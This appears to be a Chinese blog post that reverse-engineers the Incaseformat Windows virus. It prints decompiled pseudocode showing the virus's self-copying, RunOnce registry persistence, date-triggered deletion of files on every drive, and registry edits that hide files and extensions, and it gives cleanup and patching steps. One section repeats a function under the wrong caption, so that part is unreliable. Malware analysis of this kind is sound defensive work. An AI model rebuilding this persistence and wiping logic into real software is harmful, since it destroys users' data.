讀懂Incaseformat病毒的廬山真面目!
讀懂Incaseformat病毒
這個病毒的廬山真面目。
其實就是個tsay.exe,用delphi語言開發(fā)的程序,不過它將應(yīng)用程序偽裝成文件夾的一樣的效果,這就是給大家挖了個大坑,大家一般情況下不注意手快就點進去想打開文件夾的那種沖動。

這個病毒界面的開關(guān)
這個病毒的界面其實就是一個普通的delphi界面程序,它主要是由一個delphi的label控件和幾個定時器組成的。

這個病毒樣本的具體功能如下

這個病毒清理的原理
(大家可以直接使用殺毒軟件應(yīng)該都更新了對這個的檢測)
以下是清理這個病毒的原理
將系統(tǒng)盤下的Window文件夾下面的tsay.exe 和ttry.exe刪除了 刪除注冊表中被病毒設(shè)置的自啟動項在具體的SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 這個下面的tsay.exe信息。 將病毒文件強制修改的文件隱藏屬性恢復(fù)回來,建議直接從文件夾選項上去修改就好,簡單便捷,注冊表修改的話比較繁瑣。
還原Incaseformat病毒
逆向還原病毒需要用到的工具
exeinfope.exe:用于查殼和查開發(fā)語言 Procmon.exe:用于監(jiān)控應(yīng)用程序的啟動運行行為 Ollydbg.exe: 用于動態(tài)調(diào)試分析破解病毒樣本 IDA.exe:用于靜態(tài)分析病毒樣本 DeDe.exe:用于分析delphi控件相關(guān)信息
(以上工具可以自行到網(wǎng)上進行下載)
對病毒進行查殼
操作方法:可以將病毒文件直接拖進Exeinfo.exe工具也可以選擇用打開方式將病毒文件加載起來。 通過下圖PE加載工具我們可以很清晰的看到該tsay.exe是32位的應(yīng)用程序,而且它是用Delphi語言開發(fā)的。

通過下面區(qū)段信息看到這個就是一個delphi標準的區(qū)段信息,delphi的正常的區(qū)段信息是包含8個區(qū)段信息。而且這個病毒文件是沒有進行加殼加密保護的,其實就是個一個在裸奔的程序,這個給我們逆向還原其功能大大減少了非常多的時間精力了。直接幫我們免了走脫殼解密的步驟,我們就可以直接拿起工具開始進行逆向之旅了。

對病毒文件進行界面及控件詳細分析
通過DeDe工具上分析到,該病毒文件其實就是一個很簡單的delphi應(yīng)用程序,它界面上就一個Label1控件和4個定時器控件而已。

通過DeDe分析工具我們可以看到,其實這個病毒程序就由五個部分功能組成的,分別為FromCreate、Timer1Timer、Timer2Timer、Timer3Timer、Timer4Timer,其中FromCreate類似于程序的入口函數(shù)(main),剩下4個就是個定時器函數(shù)。

結(jié)合DeDe工具分析可以還原出該病毒軟件其實就是默認創(chuàng)建的Delphi窗口程序,外加幾個定時器功能的。 Delphi是一個可視化的語言類似于MFC主要用于做可視化用的,但是在啟動病毒樣本的時候發(fā)現(xiàn)沒彈出任何對話框,這個就涉及到Delphi隱藏窗口的功能,它的實現(xiàn)原理:delphi中Form.Create創(chuàng)建完窗口,不調(diào)用Form.Show就實現(xiàn)隱藏窗口功能。

逆向還原病毒樣本具體功能
4.1 逆向的要點:逆向delphi程序一般從控件及事件進行作為逆向的突破口進行分析,在IDA中結(jié)合樣本中的字符串信息以及樣本中所加載的導(dǎo)入表中的相關(guān)函數(shù)信息進行做分析。 4.2 通過用IDA工具進行靜態(tài)方式逆向分析還原TForm1_FormCreate這個函數(shù)功能,這個函數(shù)也是這個病毒樣本的入口函數(shù),病毒的功能起源就是這個函數(shù)。它主要功能:1.將病毒樣本放置到系統(tǒng)盤的window目錄下進行偽裝成為系統(tǒng)程序。2.將病毒文件寫入到注冊表中的開機自啟動項里面,以實現(xiàn)每次開機就啟動病毒樣本。
下面是病毒樣本的IDA中通過強大的F5功能將匯編代碼轉(zhuǎn)換為偽代碼的詳細解釋:
int?TForm1_FormCreate()
{
??int?System::AnsiString;?//?[sp+68h]?[bp-4h]@1
??int?savedregs;?//?[sp+6Ch]?[bp+0h]@1
??v22?=?&savedregs;
??v21?=?&loc_44F324;
??v20?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v20);
??v19?=?&savedregs;
??v18?=?&loc_44F302;
??v17?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v17);
??System::ParamStr(0);
??Sysutils::ExtractFilePath(v43);???????????????//?從文件名稱獲取文件路徑
??System::ParamStr(0);
??Sysutils::ExtractFileName(v40);???????????????//?從完整路徑中或病毒文件的具體名稱:tsay.exe
??v14?=?unknown_libname_69(v41)?-?4;
??System::ParamStr(0);
??Sysutils::ExtractFileName(v39);
??System::__linkproc__?LStrCopy(&v42);
??System::__linkproc__?LStrCat(&System::AnsiString,?v42);
??if?(?(unsigned?__int8)Sysutils::DirectoryExists(System::AnsiString)?)//?判斷存放病毒文件的文件夾是否存在
??{
????System::ParamStr(0);
????Sysutils::ExtractFilePath(v37);
????System::ParamStr(0);
????Sysutils::ExtractFileName(v34);
????unknown_libname_69(v35);
????System::ParamStr(0);
????Sysutils::ExtractFileName(v33);
????System::__linkproc__?LStrCopy(&v36);
????System::__linkproc__?LStrCatN(&v38,?3,?v0,?v36,?&str___16[1]);
????v1?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v38);
????ShellExecuteA(0,?0,?v1,?0,?0,?1);
??}
??if?(?!(unsigned?__int8)Sysutils::FileExists((const?int)&str_C__windows_tsay[1])?)//?判斷tsay.exe病毒文件是否存在
??{?????????????????????????????????????????????//?這是執(zhí)行病毒文件不存在的功能
????System::ParamStr(0);????????????????????????//?獲取病毒文件的絕對路徑
????v2?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v32);//?類型轉(zhuǎn)換
????CopyFileA(v2,?"C:\\windows\\tsay.exe",?-1);//?將病毒文件拷貝復(fù)制c:\\windows\\tsay.exe
????v3?=?(Registry::TRegistry?*)Registry::TRegistry::TRegistry((Registry::TRegistry?*)dword_4259E4);//?TRegistry對象來操作注冊表
????Registry::TRegistry::SetRootKey(v3,?0x80000002);//?設(shè)置注冊表屬性值
????LOBYTE(v4)?=?1;
????//?SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce?為了病毒文件開機自啟動
????Registry::TRegistry::OpenKey(v3,?(const?int)&str_SOFTWARE_Micros[1],?v4);
????Registry::TRegistry::WriteString(v3,?&str_msfsa[1],?&str_C__windows_tsay[1]);//?將tsay.exe病毒文件寫入到注冊表中
????Registry::TRegistry::CloseKey(v3);??????????//?關(guān)閉打開的注冊表
????v5?=?System::TObject::Free(v3);?????????????//?釋放對象值
????System::__linkproc__?Halt0(v5);
??}
??//?病毒文件存在的情況
??v16?=?&savedregs;
??v15?=?&loc_44F1A6;
??v14?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v14);
??System::ParamStr(0);??????????????????????????//?獲取病毒文件的絕對路徑
??v6?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v31);
??CopyFileA(v6,?"C:\\windows\\tsay.exe",?0);//?將病毒文件拷貝復(fù)制c:\\windows\\tsay.exe
??__writefsdword(0,?v14);
??v16?=?&savedregs;
??v15?=?&loc_44F20F;
??v14?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v14);
??v7?=?(Registry::TRegistry?*)Registry::TRegistry::TRegistry((Registry::TRegistry?*)dword_4259E4);//?操作注冊表
??Registry::TRegistry::SetRootKey(v7,?0x80000002);//?設(shè)置注冊表key值
??LOBYTE(v8)?=?1;
??//?操作注冊表?SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce?實現(xiàn)病毒文件開機自啟動
??Registry::TRegistry::OpenKey(v7,?(const?int)&str_SOFTWARE_Micros[1],?v8);
??Registry::TRegistry::WriteString(v7,?&str_msfsa[1],?&str_C__windows_tsay[1]);//?將病毒文件寫入到注冊表開機啟動項
??Registry::TRegistry::CloseKey(v7);????????????//?關(guān)閉注冊表操作
??System::TObject::Free(v7);
??__writefsdword(0,?v14);
??System::ParamStr(0);
??Sysutils::UpperCase(v29);?????????????????????//?進行類型轉(zhuǎn)換,將小寫轉(zhuǎn)為大寫
??v16?=?v30;
??Sysutils::UpperCase((const?int)&str_C__windows_tsay[1]);
??System::__linkproc__?LStrCmp(v16,?v28);???????//?比較字符串
??if?(?v9?)
??{
????v16?=?&savedregs;
????v15?=?&loc_44F2C5;
????v14?=?__readfsdword(0);
????__writefsdword(0,?(unsigned?int)&v14);
????System::ParamStr(0);????????????????????????//?獲取病毒文件絕對路徑
????v11?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v24);//?進行類型轉(zhuǎn)換
????CopyFileA(v11,?"C:\\windows\\ttry.exe",?0);//?將病毒文件拷貝復(fù)制到c:\\window\\tty.exe
????__writefsdword(0,?v14);
????v12?=?ShellExecuteA(0,?0,?"C:\\windows\\ttry.exe",?0,?0,?0);//?運行病毒文件tty.exe
????System::__linkproc__?Halt0(v12);
??}
??System::ParamStr(0);
??Sysutils::UpperCase(v26);
??v16?=?v27;
??Sysutils::UpperCase((const?int)&str_C__windows_ttry[1]);
??v10?=?System::__linkproc__?LStrCmp(v16,?v25);
??if?(?!v9?)
????System::__linkproc__?Halt0(v10);
??__writefsdword(0,?v17);
??__writefsdword(0,?(unsigned?int)v21);
??v23?=?&loc_44F32B;
??return?System::__linkproc__?LStrArrayClr(&v24,?24);
}
下面是TForm1_FormCreate函數(shù)執(zhí)行完的效果圖 系統(tǒng)目錄下已經(jīng)拷貝進來了病毒文件
病毒文件已寫入到注冊表,重啟機器就會在開機自動啟動病毒樣本程序,我們在任務(wù)管理器上就可以看到ttry.exe的應(yīng)用程序了。

4.3 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer1Timer這個定時器函數(shù)的功能,這個函數(shù)的主要功能:1.獲取病毒樣本運行環(huán)境下的所有磁盤信息,2.遍歷查找所有類型的文件。 下面是病毒樣本中Timer1Timer定時器功能在IDA中幾個關(guān)鍵函數(shù)的詳細解釋:
int?__usercall?TForm1_Timer1Timer@(int?a1@,?int?a2@)
{
??v8?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v8);
??unknown_libname_426(*(_DWORD?*)(a1?+?760),?0);
??unknown_libname_426(*(_DWORD?*)(v14?+?768),?1);//?開啟定時器的功能
??v7?=?&savedregs;
??v6?=?&loc_44EC43;
??v5?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v5);
??v13?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
??sub_44E5C8(&v13,?a2);?????????????????????????//?獲取病毒樣本運行環(huán)境下存在磁盤的具體信息,其中V13是返回具體磁盤信息
??v2?=?(*(int?(__stdcall?**)(unsigned?__int32,?void?*,?int?*,?unsigned?__int32))(*(_DWORD?*)v13?+?20))(v5,?v6,?v7,?v8)
?????-?1;
??if?(?v2?>?0?)
??{
????v3?=?1;
????do
????{
??????(*(void?(__fastcall?**)(System::TObject?*,?signed?int,?int?*))(*(_DWORD?*)v13?+?12))(v13,?v3,?&v12);
??????sub_44EAB4(v12);??????????????????????????//?遍歷查找所有類型的文件
??????++v3;
??????--v2;
????}
????while?(?v2?);
??}
??__writefsdword(0,?(unsigned?int)v9);
??v11?=?&loc_44EC4A;
??unknown_libname_426(*(_DWORD?*)(v14?+?760),?1);
??System::TObject::Free(v13);
??__writefsdword(0,?(unsigned?int)v9);
??v11?=?&loc_44EC67;
??return?System::__linkproc__?LStrClr(&v12);
}
下面的函數(shù)是上面Timer1Timer定時器函數(shù)的內(nèi)部調(diào)用獲取磁盤信息調(diào)用的具體代碼實現(xiàn)
int?__usercall?sub_44E5C8@(_DWORD?*a1@,?int?a2@)
{
??
??__writefsdword(0,?(unsigned?int)&v7);
??v2?=?67;???????????????????//?67對于的ASCII表示的是C
??do
??{???????????????????????????//?循環(huán)便利從C盤到Z盤是否存在
????if?(?sub_44E54C(v2)?)?????//?通過DiskSize函數(shù)來判斷磁盤是否存在
????{?????????????????????????//?下面表示的是存在的情況
??????RootPathName?=?v2;
??????v16?=?58;
??????v17?=?0;
??????v3?=?GetDriveTypeA(&RootPathName);???//?判斷磁盤類型
??????if?(?v3?==?2?)????????????????//?2表示軟盤
??????{
????????v13?=?v2;
????????v12?=?1;
????????System::__linkproc__?PStrCpy(&v11,?&v12);//?字符串拷貝
????????LOBYTE(v4)?=?2;
????????System::__linkproc__?PStrNCat(&v11,?&dword_44E6CC,?v4);//?字符串拼接
????????unknown_libname_67((int)&v14,?&v11);
????????(*(void?(__fastcall?**)(_DWORD,?int))(*(_DWORD?*)*v18?+?56))(*v18,?v14);//?存儲到列表里面
??????}
??????if?(?v3?==?3?)????????//?3表示是本機硬盤
??????{
????????v13?=?v2;
????????v12?=?1;
????????System::__linkproc__?PStrCpy(&v11,?&v12);
????????LOBYTE(v5)?=?2;
????????System::__linkproc__?PStrNCat(&v11,?&dword_44E6CC,?v5);
????????unknown_libname_67((int)&v10,?&v11);
????????(*(void?(__fastcall?**)(_DWORD,?int))(*(_DWORD?*)*v18?+?56))(*v18,?v10);
??????}
????}
????++v2;
??}
??while?(?v2?!=?91?);???????//?91在ASCII表里面表示的是[,其實就是遍歷的Z盤
??__writefsdword(0,?v7);
??v9?=?(int?*)&loc_44E6C3;
??System::__linkproc__?LStrClr(&v10);
??return?System::__linkproc__?LStrClr(&v14);????//?講記錄的列表信息返還回去
}
下面函數(shù)是通過遍歷查找所有類型文件并進行記錄
int?__fastcall?sub_44E6D0(int?a1,?int?a2)
{
?
??System::__linkproc__?LStrAddRef(v10);
??unknown_libname_74((int)&FatTime,?(int)&byte_406E1C);
??v9?=?&savedregs;
??v8?=?&loc_44E882;
??v7?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v7);
??v16?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
??v6?=?&savedregs;
??v5?=?&loc_44E82E;
??v4?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v4);
??System::__linkproc__?LStrCat3(&v12,?v18,?&str____[1]);//?*.*類型
??Sysutils::FindFirst(v12,?63,?&FatTime);???????//?進行文件的查找
??if?(?(v14?&?0x10)?>?0?)
??{
????System::__linkproc__?LStrCmp(v15,?&str___1[1]);//?.類型,也就是全部文件
????if?(?!v2?)
??????(*(void?(__fastcall?**)(System::TObject?*,?int))(*(_DWORD?*)v16?+?56))(v16,?v15);
??}
??while?(?!Sysutils::FindNext(&FatTime)?)
??{
????if?(?(v14?&?0x10)?>?0?)
????{
??????System::__linkproc__?LStrCmp(v15,?&str___[1]);//?..類型
??????if?(?!v2?)
????????(*(void?(__fastcall?**)(System::TObject?*,?int))(*(_DWORD?*)v16?+?56))(v16,?v15);
????}
??}
??Sysutils::FindClose(&FatTime);
??System::__linkproc__?LStrCat3(&v11,?v18,?&str____[1]);
??Sysutils::FindFirst(v11,?7,?&FatTime);
??while?(?!Sysutils::FindNext(&FatTime)?)
????;
??Sysutils::FindClose(&FatTime);
??__writefsdword(0,?v4);
??(*(void?(__fastcall?**)(System::TObject?*,?int,?_DWORD))(*(_DWORD?*)v16?+?28))(v16,?v17,?*(_DWORD?*)v16);
??System::TObject::Free(v16);
??__writefsdword(0,?(unsigned?int)v8);
??v10?=?&loc_44E889;
??System::__linkproc__?LStrArrayClr(&v11,?2);
??System::__linkproc__?FinalizeRecord(&FatTime,?&byte_406E1C);
??return?System::__linkproc__?LStrClr(&v18);
}
4.4 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer2Timer這個定時器函數(shù)的功能,這個函數(shù)的主要功能:1.用于獲取當前所有樣本下的所有磁盤信息,2.判斷時間開啟病毒刪除文件的功能。 下面是病毒樣本中TForm1_Timer2Timer定時器功能的幾個關(guān)鍵函數(shù)的詳細解釋
int?__usercall?TForm1_Timer2Timer@(int?a1@,?int?a2@,?long?double?a3@)
{
??System::TObject?*v14;?//?[sp+10h]?[bp-1Ch]@1
??unsigned?__int16?v15;?//?[sp+16h]?[bp-16h]@1
??unsigned?__int16?v16;?//?[sp+18h]?[bp-14h]@1
??long?double?System::TDateTime;?//?[sp+1Ah]?[bp-12h]@1
??int?v18;?//?[sp+28h]?[bp-4h]@1
??int?savedregs;?//?[sp+2Ch]?[bp+0h]@1
??v13?=?0;
??v18?=?a1;
??v12?=?&savedregs;
??v11?=?&loc_44EFA1;
??v10?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v10);
??unknown_libname_426(*(_DWORD?*)(a1?+?764),?0);//?設(shè)置啟動定時器
??v9?=?&savedregs;
??v8?=?&loc_44EF84;
??v7?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v7);
??v14?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
??Sysutils::Now();??????????????????????????????//?獲取當前系統(tǒng)的時間
??*(double?*)((char?*)&System::TDateTime?+?2)?=?a3;
??sub_44E5C8(&v14,?a2);?????????????????????????//?用于獲取當前環(huán)境下的所有磁盤數(shù)據(jù)
??//?將時間拆分成月,日,其中V15是月,V14是日
??Sysutils::DecodeDate(
????(const?int)&System::TDateTime,
????&v16,
????&v15,
????*(unsigned?__int16?**)((char?*)&System::TDateTime?+?2));
??if?(?LOWORD(System::TDateTime)?>?0x7D9u?)?????//?判斷當前時間是否大于2009年
??{
????if?(?v16?>?3u?)?????????????????????????????//?當前月份是否大于3月
????{
??????if?(?v15?==?1?||?v15?==?10?||?v15?==?21?||?v15?==?29?)//?當前日期是否等于1,10,21,29
??????{
????????v3?=?(*(int?(**)(void))(*(_DWORD?*)v14?+?20))()?-?1;
????????if?(?v3?>?0?)
????????{
??????????v4?=?1;
??????????do
??????????{
????????????(*(void?(__fastcall?**)(System::TObject?*,?signed?int,?int?*))(*(_DWORD?*)v14?+?12))(v14,?v4,?&v13);
????????????sub_44EC70(v13);????????????????????//?用于循環(huán)操作刪除文件及文件夾
????????????++v4;
????????????--v3;
??????????}
??????????while?(?v3?);
????????}
??????}
??????System::TObject::Free(v14);
??????v5?=?v7;
??????__writefsdword(0,?v7);
??????v9?=?(int?*)&loc_44EF8B;
??????LOBYTE(v5)?=?1;
??????unknown_libname_426(*(_DWORD?*)(v18?+?764),?v5);
????}
????else
????{
??????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
????}
??}
??else
??{
????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
??}
??__writefsdword(0,?v10);
??v12?=?(int?*)&loc_44EFA8;
??return?System::__linkproc__?LStrClr(&v13);
}
下面函數(shù)是通過遍歷并用遞歸方式進行批量的刪除磁盤中的所有文件
int?__usercall?TForm1_Timer2Timer@(int?a1@,?int?a2@,?long?double?a3@)
{
??long?double?System::TDateTime;?//?[sp+1Ah]?[bp-12h]@1
??int?v18;?//?[sp+28h]?[bp-4h]@1
??int?savedregs;?//?[sp+2Ch]?[bp+0h]@1
??v13?=?0;
??v18?=?a1;
??v12?=?&savedregs;
??v11?=?&loc_44EFA1;
??v10?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v10);
??unknown_libname_426(*(_DWORD?*)(a1?+?764),?0);//?設(shè)置啟動定時器
??v9?=?&savedregs;
??v8?=?&loc_44EF84;
??v7?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v7);
??v14?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
??Sysutils::Now();??????????????????????????????//?獲取當前系統(tǒng)的時間
??*(double?*)((char?*)&System::TDateTime?+?2)?=?a3;
??sub_44E5C8(&v14,?a2);?????????????????????????//?用于獲取當前環(huán)境下的所有磁盤數(shù)據(jù)
??//?將時間拆分成月,日,其中V16是月,V15是日
??Sysutils::DecodeDate(
????(const?int)&System::TDateTime,
????&v16,
????&v15,
????*(unsigned?__int16?**)((char?*)&System::TDateTime?+?2));
??if?(?LOWORD(System::TDateTime)?>?0x7D9u?)?????//?判斷當前時間是否大于2009年
??{
????if?(?v16?>?3u?)?????????????????????????????//?當前月份是否大于3月
????{
??????if?(?v15?==?1?||?v15?==?10?||?v15?==?21?||?v15?==?29?)//?當前日期是否等于1,10,21,29
??????{
????????v3?=?(*(int?(**)(void))(*(_DWORD?*)v14?+?20))()?-?1;
????????if?(?v3?>?0?)
????????{
??????????v4?=?1;
??????????do
??????????{
????????????(*(void?(__fastcall?**)(System::TObject?*,?signed?int,?int?*))(*(_DWORD?*)v14?+?12))(v14,?v4,?&v13);
????????????sub_44EC70(v13);????????????????????//?用于循環(huán)操作刪除文件及文件夾
????????????++v4;
????????????--v3;
??????????}
??????????while?(?v3?);
????????}
??????}
??????System::TObject::Free(v14);
??????v5?=?v7;
??????__writefsdword(0,?v7);
??????v9?=?(int?*)&loc_44EF8B;
??????LOBYTE(v5)?=?1;
??????unknown_libname_426(*(_DWORD?*)(v18?+?764),?v5);
????}
????else
????{
??????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
????}
??}
??else
??{
????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
??}
??__writefsdword(0,?v10);
??v12?=?(int?*)&loc_44EFA8;
??return?System::__linkproc__?LStrClr(&v13);
}
4.5 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer3Timer這個定時器函數(shù)的功能,這個函數(shù)的主要功能:通過注冊表方式進行對病毒文件進行隱藏后綴名稱,以及隱藏文件夾。 下面是病毒樣本TForm1_Timer3Timer定時器功能的幾個關(guān)鍵函數(shù)的詳細解釋:
int?__fastcall?TForm1_Timer3Timer(int?a1)
{
??System::TObject?*v8;?//?[sp+0h]?[bp-8h]@1
??int?v9;?//?[sp+4h]?[bp-4h]@1
??int?savedregs;?//?[sp+8h]?[bp+0h]@1
??v9?=?a1;
??unknown_libname_426(*(_DWORD?*)(a1?+?768),?0);
??v7?=?&savedregs;
??v6?=?&loc_44F505;
??v5?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v5);
??v8?=?(System::TObject?*)Registry::TRegistry::TRegistry((Registry::TRegistry?*)dword_4259E4);//?操作注冊表
??Registry::TRegistry::SetRootKey(v8,?0x80000001);//?設(shè)置key值
??LOBYTE(v1)?=?1;
??//?打開注冊表Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced?進行隱藏操作
??Registry::TRegistry::OpenKey(v8,?(const?int)&str_Software_Micros[1],?v1);
??//?寫入HideFileExt?實現(xiàn)隱藏病毒文件的擴展名
??Registry::TRegistry::WriteInteger(v8,?(const?int)&str_HideFileExt[1],?1);
??//?寫入Hidden
??Registry::TRegistry::WriteInteger(v8,?(const?int)&str_Hidden[1],?2);
??Registry::TRegistry::CloseKey(v8);????????????//?關(guān)閉注冊表
??Registry::TRegistry::SetRootKey(v8,?0x80000002);//?設(shè)置key值
??LOBYTE(v2)?=?1;
??//?打開注冊表SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde
??Registry::TRegistry::OpenKey(v8,?(const?int)&str_SOFTWARE_Micros_0[1],?v2);
??//?寫入checkedvalue?實現(xiàn)隱藏病毒文件
??Registry::TRegistry::WriteInteger(v8,?(const?int)&str_checkedvalue[1],?0);
??Registry::TRegistry::CloseKey(v8);
??Registry::TRegistry::SetRootKey(v8,?0x80000002);//?設(shè)置key值
??LOBYTE(v3)?=?1;
??//?SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde
??Registry::TRegistry::OpenKey(v8,?(const?int)&str_SOFTWARE_Micros_1[1],?v3);
??if?(?(unsigned?__int8)Registry::TRegistry::ValueExists(v8,?(const?int)&str_checkedvalue[1])?)
????//?刪除HideFileExt
????Registry::TRegistry::DeleteValue(v8,?(const?int)&str_checkedvalue[1]);
??Registry::TRegistry::CloseKey(v8);????????????//?關(guān)閉注冊表
??__writefsdword(0,?v5);
??v7?=?(int?*)&loc_44F50C;
??unknown_libname_426(*(_DWORD?*)(v9?+?768),?1);
??return?System::TObject::Free(v8);
}
4.6 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer4Timer這個定時器的函數(shù)功能,這個函數(shù)的主要功能:遍歷所有磁盤信息并對每個操作過的磁盤進行日志incaseformat.log文件。 下面是病毒樣本中TForm1_Timer4Timer定時器功能的幾個關(guān)鍵函數(shù)的詳細解釋:
int?__usercall?TForm1_Timer4Timer@(int?a1@,?int?a2@)
{
??v10?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v10);
??v9?=?&savedregs;
??v8?=?&loc_44F70B;
??v7?=?__readfsdword(0);
??__writefsdword(0,?(unsigned?int)&v7);
??unknown_libname_426(*(_DWORD?*)(a1?+?776),?0);//?定時器操作
??v17?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
??sub_44E5C8(&v17,?a2);?????????????????????????//?遍歷獲取樣本運行環(huán)境的所有磁盤信息
??v2?=?(*(int?(__stdcall?**)(unsigned?__int32,?void?*,?int?*,?unsigned?__int32))(*(_DWORD?*)v17?+?20))(v7,?v8,?v9,?v10)
?????-?1;
??if?(?v2?>?0?)
??{
????v18?=?1;
????v3?=?&v16;
????do
????{
??????v10?=?0xFFFF;
??????(*(void?(__fastcall?**)(System::TObject?*,?int,?int?*))(*(_DWORD?*)v17?+?12))(v17,?v18,?(int?*)&v14);
??????v9?=?v14;
??????System::__linkproc__?LStrCatN(v15,?3,?v4,?&str___17[1],?&str_incaseformat_lo[1]);//?路徑和incaseformat.log
??????LOBYTE(v5)?=?1;
??????//?用文件流方式進對每個磁盤創(chuàng)建并留下incaseformat.log標記
??????*(_DWORD?*)v3?=?Classes::TFileStream::TFileStream((Classes::TFileStream?*)&off_411E10,?v5,?v15[0]);
??????++v18;
??????v3?+=?4;
??????--v2;
????}
????while?(?v2?);
??}
??__writefsdword(0,?(unsigned?int)v11);
??v13?=?&loc_44F712;
??System::TObject::Free(v17);
??__writefsdword(0,?(unsigned?int)v11);
??v13?=?&loc_44F734;
??return?System::__linkproc__?LStrArrayClr(&v14,?2);
}
破解Incaseformat病毒
破解要點:通過進程行為監(jiān)控工具以及動態(tài)調(diào)試工具相結(jié)合,進程監(jiān)控工具檢測監(jiān)控到病毒樣本操作文件及注冊表的行為,動態(tài)調(diào)試工具,用字符串大法進行查看并跳轉(zhuǎn)到代碼段進行分析邏輯,并進行修改病毒樣本的邏輯,使得病毒樣本的真正邏輯功能執(zhí)行不到。 通過進程監(jiān)控工具進行監(jiān)控程序行為,下面是進行監(jiān)控指定進程的設(shè)置

監(jiān)控到病毒樣本的啟動行為:注冊表,文件操作

ollydbg動態(tài)調(diào)試工具進行附加調(diào)試并進行分析
附加病毒樣本進程,病毒樣本確實是“感動中國特別奉獻”

在ollydbg中分析下程序中的字符串關(guān)鍵的信息

分析如下幾個要破解操作的關(guān)鍵函數(shù),可以通過下打開注冊表的函數(shù)進行下端的,然后通過堆棧進行回溯查找方法進行分析。



破解的關(guān)鍵地方:將拷貝到C:\\window\\目錄和將病毒文件寫入到注冊表的判斷的地方直接修改跳轉(zhuǎn)到函數(shù)結(jié)束的地方。
0044F24A???.??8D55?A8???????lea?edx,dword?ptr?ss:[ebp-0x58]
0044F24D???.??33C0??????????xor?eax,eax
0044F24F???.??E8?9037FBFF???call?ttry.004029E4
0044F254???.??8B45?A8???????mov?eax,dword?ptr?ss:[ebp-0x58]??????????;??ttry.00452868
0044F257???.??8D55?AC???????lea?edx,dword?ptr?ss:[ebp-0x54]
0044F25A???.??E8?5188FBFF???call?ttry.00407AB0
0044F25F???.??8B45?AC???????mov?eax,dword?ptr?ss:[ebp-0x54]??????????;??ttry.004194A5
0044F262???.??50????????????push?eax
0044F263???.??8D55?A4???????lea?edx,dword?ptr?ss:[ebp-0x5C]
0044F266???.??B8?C4F34400???mov?eax,ttry.0044F3C4????????????????????;??C:\windows\ttry.exe
0044F26B???.??E8?4088FBFF???call?ttry.00407AB0
0044F270???.??8B55?A4???????mov?edx,dword?ptr?ss:[ebp-0x5C]??????????;??ttry.0041949D
0044F273???.??58????????????pop?eax??????????????????????????????????;??user32.768766C9
0044F274???.??E8?2B51FBFF???call?ttry.004043A4
0044F279???.??74?79?????????je?short?ttry.0044F2F4
0044F27B???.??E8?284CFBFF???call?ttry.00403EA8
0044F280???.??A1?D00F4500???mov?eax,dword?ptr?ds:[0x450FD0]
0044F285???.??8B00??????????mov?eax,dword?ptr?ds:[eax]???????????????;??ttry.004026E7
0044F287???.??E8?90DCFFFF???call?ttry.0044CF1C
0044F28C???.??EB?66?????????jmp?short?ttry.0044F2F4??????????????????;??這里跳轉(zhuǎn)到前面拷貝,執(zhí)行操作注冊表完要結(jié)束了
0044F28E???>??33C0??????????xor?eax,eax
0044F290???.??55????????????push?ebp
0044F291???.??68?C5F24400???push?ttry.0044F2C5
0044F296???.??64:FF30???????push?dword?ptr?fs:[eax]
0044F299???.??64:8920???????mov?dword?ptr?fs:[eax],esp
0044F29C???.??6A?00?????????push?0x0
0044F29E???.??68?D8F34400???push?ttry.0044F3D8???????????????????????;??C:\windows\ttry.exe
0044F2A3???.??8D55?A0???????lea?edx,dword?ptr?ss:[ebp-0x60]
0044F2A6???.??33C0??????????xor?eax,eax
0044F2A8???.??E8?3737FBFF???call?ttry.004029E4
0044F2AD???.??8B45?A0???????mov?eax,dword?ptr?ss:[ebp-0x60]
0044F2B0???.??E8?A351FBFF???call?ttry.00404458
0044F2B5???.??50????????????push?eax?????????????????????????????????;?|ExistingFileName?=?"?@"
0044F2B6???.??E8?9D6CFBFF???call????????????;?\CopyFileA
0044F2BB???.??33C0??????????xor?eax,eax
0044F2C0???.??64:8910???????mov?dword?ptr?fs:[eax],edx
0044F2C3???.??EB?0A?????????jmp?short?ttry.0044F2CF
0044F2C5???.^?E9?1E44FBFF???jmp?ttry.004036E8
0044F2CA???.??E8?8147FBFF???call?ttry.00403A50
0044F2CF???>??6A?00?????????push?0x0?????????????????????????????????;?/IsShown?=?0x0
0044F2D1???.??6A?00?????????push?0x0?????????????????????????????????;?|DefDir?=?NULL
0044F2D3???.??6A?00?????????push?0x0?????????????????????????????????;?|Parameters?=?NULL
0044F2D5???.??68?D8F34400???push?ttry.0044F3D8???????????????????????;?|C:\windows\ttry.exe
